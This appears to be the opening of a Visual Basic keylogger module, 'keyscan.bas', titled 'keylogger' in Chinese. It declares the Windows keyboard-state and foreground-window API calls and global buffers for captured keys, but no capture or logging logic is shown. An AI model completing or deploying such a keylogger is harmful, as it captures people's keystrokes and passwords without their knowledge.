keyscan.bas

键盘记录器

Attribute VB_Name = "KeyScan"
'获得当前最前窗口句柄函数
Declare Function GetForegroundWindow Lib "user32" () As Long
'热键
Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer

'Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long

'Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long

Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

Global Cnt As Long, sSave As String, sOld As String, Ret As String